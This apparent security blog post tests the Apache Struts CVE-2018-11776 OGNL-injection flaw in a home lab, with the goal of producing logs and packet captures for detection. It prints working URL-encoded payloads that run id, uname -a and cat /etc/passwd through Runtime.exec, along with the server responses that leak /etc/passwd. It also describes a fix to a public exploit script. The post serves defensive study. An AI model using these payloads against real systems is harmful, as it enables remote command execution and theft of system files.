Intro
Any time a new Apache Struts vulnerability comes out it should be taken pretty seriously as there are many “mission critical” systems that are leveraging the framework, with a considerable amount of them being public facing. Unfortunately, as a former Sys Ad I can tell you that many of these systems will go on unpatched and possibly even undetected for sometime. I have also seen that Tomcat is all to often misconfigured due to difficulties encountered during the deployment of an application, so it is run under a privileged account like root for troubleshooting and then left that way.
My goal with this post is to test the exploits and vulnerable packages while hoping to grab some artifacts/pcaps that can be used for analysis and detection later on.
It is worth mentioning, this vulnerability does require a more specific configuration in order to be able to exploit it successfully when compared to the previous struts exploits like CVE-2017-9805 and CVE-2017-5638. The exploit does seem to be fairly reliable once the criteria is met, however in testing various vulnerable packages, my results were rather interesting – but more on that later.
First let’s get all the details out of the way and some basic information on creating a vulnerable server:
- Details about the vulnerability:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11776 -
Exploits and POCs:
https://github.com/mazen160/struts-pwn_CVE-2018-11776
https://www.exploit-db.com/exploits/45260/
https://github.com/hook-s3c/CVE-2018-11776-Python-PoC -
Additional reading material:
https://www.secjuice.com/apache-struts2-cve-2018-11776/
https://semmle.com/news/apache-struts-CVE-2018-11776 - Vulnerable packages that I will be testing in this post (2.3 – 2.3.34 and 2.5 – 2.5.16 being vulnerable):
-
struts2-showcase-2.3.12.war included with the POC from hook-s3c:
https://github.com/hook-s3c/CVE-2018-11776-Python-PoC/blob/master/struts2-showcase-2.3.12.war -
Packages from the Apache repository:
http://archive.apache.org/dist/struts/2.3.20/
http://archive.apache.org/dist/struts/2.3.24/
http://archive.apache.org/dist/struts/2.3.30/
http://archive.apache.org/dist/struts/2.5/
http://archive.apache.org/dist/struts/2.5.1/
http://archive.apache.org/dist/struts/2.5.13/
-
struts2-showcase-2.3.12.war included with the POC from hook-s3c:
Building a Vulnerable Machine
For my test image I went with a freshly downloaded Ubuntu 16.04.5 x64 Desktop and installed Tomcat 8 through the Ubuntu repository via apt. Initially, I attempted to perform this install on Ubuntu 18.04, but it turns out Tomcat is no longer available to install through the repository. So to keep this post as simple as possible, I went with 16.04.
There are 2 reasons I wanted to build my own vulnerable server, first being I just like to build servers to test with. The other reason being that when I started reading about this particular vulnerability and exploit, it seemed most were referencing testing on the docker container from piesecurity. I wanted to expand upon that and see what would happen on a fresh Ubuntu and Tomcat install with the old struts packages deployed.
Installing Tomcat 8
1.) Elevate privileges:
$ sudo su
2.) Update the machine:
# apt update
3.) Install Tomcat 8:
# apt-get install tomcat8 tomcat8-admin
4.) Now open the Tomcat configuration file to add an admin user to Tomcat:
# nano /etc/tomcat8/tomcat-users.xml
5.) Add the following line between the <tomcat-users> tags to create a user to log into the manager:
6.) Restart Tomcat:
# systemctl restart tomcat8
Exit the root shell at this point:
# exit
7.) Verify Tomcat is working by browsing to it at http://Server_IP:8080/manager/html and logging in:
Deploying the vulnerable packages
1.) Download the known vulnerable struts2-showcase-2.3.12.war from hook-s3c’s repo:
https://github.com/hook-s3c/CVE-2018-11776-Python-PoC/blob/master/struts2-showcase-2.3.12.war
2.) Download the Apache Struts Packages:
$ wget http://archive.apache.org/dist/struts/2.3.20/struts-2.3.20-all.zip &&
wget http://archive.apache.org/dist/struts/2.3.24/struts-2.3.24-all.zip &&
wget http://archive.apache.org/dist/struts/2.3.30/struts-2.3.30-all.zip &&
wget http://archive.apache.org/dist/struts/2.5/struts-2.5-all.zip &&
wget http://archive.apache.org/dist/struts/2.5.1/struts-2.5.1-all.zip &&
wget http://archive.apache.org/dist/struts/2.5.13/struts-2.5.13-all.zip
3.) Unzip all of the packages:
$ unzip struts-2.3.20-all.zip &&
unzip struts-2.3.24-all.zip &&
unzip struts-2.3.30-all.zip &&
unzip struts-2.5-all.zip &&
unzip struts-2.5.1-all.zip &&
unzip struts-2.5.13-all.zip
4.) Now to deploy the vulnerable struts2-showcase.war packages found in the apps folder through the Tomcat Manager:
This is what it should look like once successfully deployed:
The application can be accessed by clicking the link under the Path section or browsing to it directly:
5.) Repeat this process for each additional package.
Note: You may run into issues loading all of the packages at the same time, if this happens test a few packages then remove them and continue.
Testing and Introducing the Vulnerability
Test 1 – Not Vulnerable
To test if the application is vulnerable, just ask it to evaluate a simple OGNL expression like ${123+123} in the namespace:
Out of the box struts2-showcase-2.3.12.war does not appear to be vulnerable since it returned a 404 error and did not render the result of the equation.
Introducing the Vulnerability
To create a vulnerable section of the application the struts.xml will need to be edited for each version of the application that is being tested.
1.) Open the struts.xml with a text editor:
$ sudo nano /var/lib/tomcat8/webapps/struts2-showcase-2.3.12/WEB-INF/classes/struts.xml
2.) Add the following to create a vulnerable redirect in the <package name="default" extends="struts-default"> section:
date.action
For completeness the exploit POC repo references the following line to be added to the <struts> section, but it appears to be set by default even though it is not explicitly defined:
3.) Repeat steps 1 & 2 for each struts2-showcase.war that has been uploaded.
4.) Restart Tomcat:
$ sudo systemctl restart tomcat8
Test 2 – Vulnerable But Not Everywhere
The <action> entry will allow requests to be sent to struts2-showcase-2.3.12/help.action and will be redirected to struts2-showcase-2.3.12/date.action.
Notice the injection into the namespace now:
Renders the result of 246 in the URI after the redirect:
This means that help.action is potentially exploitable.
The entire application is not susceptible to exploitation at this point though. That can be tested by trying the same method against the index.action:
This will make finding the vulnerability a little more challenging and likely be a little more noisy which can help with detection.
Running the Exploit
I used the following exploit for my testing:
https://www.exploit-db.com/exploits/45260/
And it is used like this when targeting the vulnerable help.action:
$ python 45260.py -u ‘http://Server_IP:8080/struts2-showcase-2.3.12/help.action’ -c ‘id’ –exploit
Initially, it did not appear to work and showed that the target was not vulnerable:
After some quick debugging with Wireshark to see what the exploit was sending to test the server, it turned out there was a bug in the script and it was doubling up the curly brackets (notice the double 7B and 7D):
So I made a quick edit to line 151 in the script:
It now works as expected, and the result of the ‘id’ command is returned:
We have now confirmed that it does appear the struts2-showcase-2.3.12.war provided with the POC is vulnerable and can be successfully exploited. Now while it can be exploited, and single commands can be run, there are still a lot of restrictions on what exactly can be passed through without Tomcat striping it out – for example forward slashes can be problematic. Even with the restrictions, turning this into a full shell is trivial at this point.
Testing Additional Packages
This is where it gets interesting…
So now that I know first hand how the exploit should look and work, I wanted to try the packages available directly from the apache struts archives just to be sure they behaved the same. I chose the versions at random and just made sure that they fit within the applicable versions listed on the CVE – Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16.
Note: The .war provided with the POC 2.3.12 and 2.3.20 was the oldest version available from the Apache repo.
Each package was downloaded directly from the Apache archives page:
http://archive.apache.org/dist/struts/
Each package was handled as follows:
- Downloaded and extracted
- Uploaded via the Tomcat manager
- The vulnerable redirect <action> and “struts.mapper.alwaysSelectFullNamespace” <constant> were then added to each struts.xml
- Tomcat instance was restarted to ensure that the fresh configurations were picked up
Here are the results:
Package | OGNL Evaluation | Command Execution |
Struts 2.3.12 (from POC) | X | X |
Struts 2.3.20 | X | |
Struts 2.3.24 | X | |
Struts 2.3.3 | X | |
Struts 2.5 | X | |
Struts 2.5.1 | X | |
Struts 2.5.13 | X |
While all of the packages successfully evaluated the OGNL expression, not one of the Struts packages from Apache appeared to execute any of the commands that were issued.
All of the packages were deployed in the exact same way as the .war provided with the POC and configured exactly the same but it appears there is something different enough between the packages that none of packages from the Apache repository appear to be exploitable as they are. In fact I even went back to the POC package and re-exploited it just to verify everything was still working on the server and it was.
So while initially this appeared to be a pretty wide ranging vulnerability, there definitely appears to be more to it. This doesn’t mean I’m saying don’t patch, but test first and then maybe you can panic just a smidge less while you figure out what needs to be done.
Detection
Scenario
Let’s just assume an attacker (192.168.90.176) has ran these 3 commands against the server using this exploit: id, uname -a, cat /etc/passwd
Attackers Perspective
Commands issued:
$ python 45260.py -u ‘http://192.168.90.197:8080/struts2-showcase-2.3.12/help.action’ -c ‘id’ –exploit
$ python 45260.py -u ‘http://192.168.90.197:8080/struts2-showcase-2.3.12/help.action’ -c ‘uname -a’ –exploit
$ python 45260.py -u ‘http://192.168.90.197:8080/struts2-showcase-2.3.12/help.action’ -c ‘cat /etc/passwd’ –exploit
Endpoint Activity
One of the best ways to capture this kind of activity and validate if it was successful is through monitoring endpoint command line activity. In this case specifically monitoring the user that Tomcat is running under, in this example the user is tomcat8 (UID 121). It is important to remember that these commands will execute under the context of that users identity, so if Tomcat is running as root the commands will be executed as such.
Another thing to watch out for is child processes spawning off of Tomcats java processes that you wouldn’t normally expect, for example java spawning bash or cmd.exe.
Tomcat logs
The Tomcat8 logs can be found in /var/log/tomcat8/ and its the localhost_access_log.date.txt where you will find the good stuff:
$ head -n 20 /var/log/tomcat8/localhost_access_log.2018-08-30.txt
Injection 1 – id
# Check 1 fails, wrong namespace returns 404 192.168.90.176 - - [30/Aug/2018:11:19:29 -0500] "GET /$%7B88*88%7D/help.action HTTP/1.1" 404 1060 # Check 2 success, returns 302 Redirect 192.168.90.176 - - [30/Aug/2018:11:19:29 -0500] "GET /struts2-showcase-2.3.12/$%7B88*88%7D/help.action HTTP/1.1" 302 - # Exploit - exec id command, returns 200 OK 192.168.90.176 - - [30/Aug/2018:11:19:30 -0500] "GET /struts2-showcase-2.3.12/%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D/help.action HTTP/1.1" 200 51081
Injection 2 – uname -a
# Check 1 fails, wrong namespace returns 404 192.168.90.176 - - [30/Aug/2018:11:19:37 -0500] "GET /$%7B63*63%7D/help.action HTTP/1.1" 404 1060 # Check 2 success, returns 302 Redirect 192.168.90.176 - - [30/Aug/2018:11:19:37 -0500] "GET /struts2-showcase-2.3.12/$%7B63*63%7D/help.action HTTP/1.1" 302 - # Exploit - exec uname -a command, returns 200 OK 192.168.90.176 - - [30/Aug/2018:11:19:38 -0500] "GET /struts2-showcase-2.3.12/%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27uname%20-a%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D/help.action HTTP/1.1" 200 51081
Injection 3 – cat /etc/passwd
# Check 1 fails, wrong namespace returns 404 192.168.90.176 - - [30/Aug/2018:11:19:44 -0500] "GET /$%7B85*85%7D/help.action HTTP/1.1" 404 1060 # Check 2 success, returns 302 Redirect 192.168.90.176 - - [30/Aug/2018:11:19:44 -0500] "GET /struts2-showcase-2.3.12/$%7B85*85%7D/help.action HTTP/1.1" 302 - # Exploit - exec cat /etc/passwd command, returns 200 OK 192.168.90.176 - - [30/Aug/2018:11:19:44 -0500] "GET /struts2-showcase-2.3.12/%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27cat%20/etc/passwd%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D/help.action HTTP/1.1" 200 51081
As you can see both the testing for the vulnerability and exploitation attempts are fairly obvious when looking at the Tomcat logs. The down side though is that you can not really tell for sure whether the attempts were successful based off of this data alone.
It is worth noting that on the successful attempts a 200 OK was returned on command execution, where as all of the Apache packages that showed vulnerable but did not execute commands responded with a 302 on the unsuccessful command injection attempts. It was just an observation, but I would not rely on that to determine success or failure.
On the wire
Download the pcap file:
/data/pcaps/CVE-2018-11776-cmd-id-uname-catpasswd.zip
With a simple http display filter in Wireshark both the testing and exploit attempts are pretty noticeable just like in the Tomcat logs:
Follow the HTTP Stream to see the response:
Well that’s something you never want to see in your HTTP responses…but easily detectable both inbound and outbound with something like snort signatures.
Test 1 – Failure
GET /$%7B63*63%7D/help.action HTTP/1.1 Host: 192.168.90.197:8080 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* User-Agent: struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2018-11776) HTTP/1.1 404 Not Found Server: Apache-Coyote/1.1 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 1060 Date: Thu, 30 Aug 2018 16:19:37 GMTApache Tomcat/8.0.32 (Ubuntu) - Error report HTTP Status 404 - /$%7B63*63%7D/help.action
type Status report
message /$%7B63*63%7D/help.action
description The requested resource is not available.
Apache Tomcat/8.0.32 (Ubuntu)
Test 2 – Successful
GET /struts2-showcase-2.3.12/$%7B63*63%7D/help.action HTTP/1.1 Host: 192.168.90.197:8080 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* User-Agent: struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2018-11776) HTTP/1.1 302 Found Server: Apache-Coyote/1.1 Location: /struts2-showcase-2.3.12/3969/date.action Content-Length: 0 Date: Thu, 30 Aug 2018 16:19:37 GMT
Injection 1 – id
GET /struts2-showcase-2.3.12/%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D/help.action HTTP/1.1 Host: 192.168.90.197:8080 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* User-Agent: struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2018-11776) HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Transfer-Encoding: chunked Date: Thu, 30 Aug 2018 16:19:29 GMT uid=121(tomcat8) gid=129(tomcat8) groups=129(tomcat8)
Injection 2 – uname -a
GET /struts2-showcase-2.3.12/%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27uname%20-a%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D/help.action HTTP/1.1 Host: 192.168.90.197:8080 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* User-Agent: struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2018-11776) HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Transfer-Encoding: chunked Date: Thu, 30 Aug 2018 16:19:37 GMT Linux vmw-l-struts 4.15.0-33-generic #36~16.04.1-Ubuntu SMP Wed Aug 15 17:21:05 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Injection 3 – cat /etc/passwd
GET /struts2-showcase-2.3.12/%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27cat%20/etc/passwd%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D/help.action HTTP/1.1 Host: 192.168.90.197:8080 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* User-Agent: struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2018-11776) HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Transfer-Encoding: chunked Date: Thu, 30 Aug 2018 16:19:44 GMT root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false syslog:x:104:108::/home/syslog:/bin/false _apt:x:105:65534::/nonexistent:/bin/false messagebus:x:106:110::/var/run/dbus:/bin/false uuidd:x:107:111::/run/uuidd:/bin/false lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false whoopsie:x:109:117::/nonexistent:/bin/false avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false saned:x:119:127::/var/lib/saned:/bin/false usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false rob:x:1000:1000:rob,,,:/home/rob:/bin/bash tomcat8:x:121:129::/usr/share/tomcat8:/bin/false
As you can see with the packet capture it is relatively easy to determine what was initially sent and whether it was successful or not based off of the servers response. The exploit lends itself to signature based detection and any decent IDS/IPS/WAF solution should be able to filter out and stop exploit attempts at the network level.
Summary
While there appear to be some inconsistencies in which packages exactly are vulnerable, this is still a very valid exploit and everyone should be patching as soon as possible. As with any Apache Struts vulnerability the internet is likely already filling with non-targeted exploit attempts against random pools of IP addresses in hopes of finding a vulnerable machine, so make sure your IDS/IPS/WAF signatures are up to date even if you not running struts purely just to block the noise.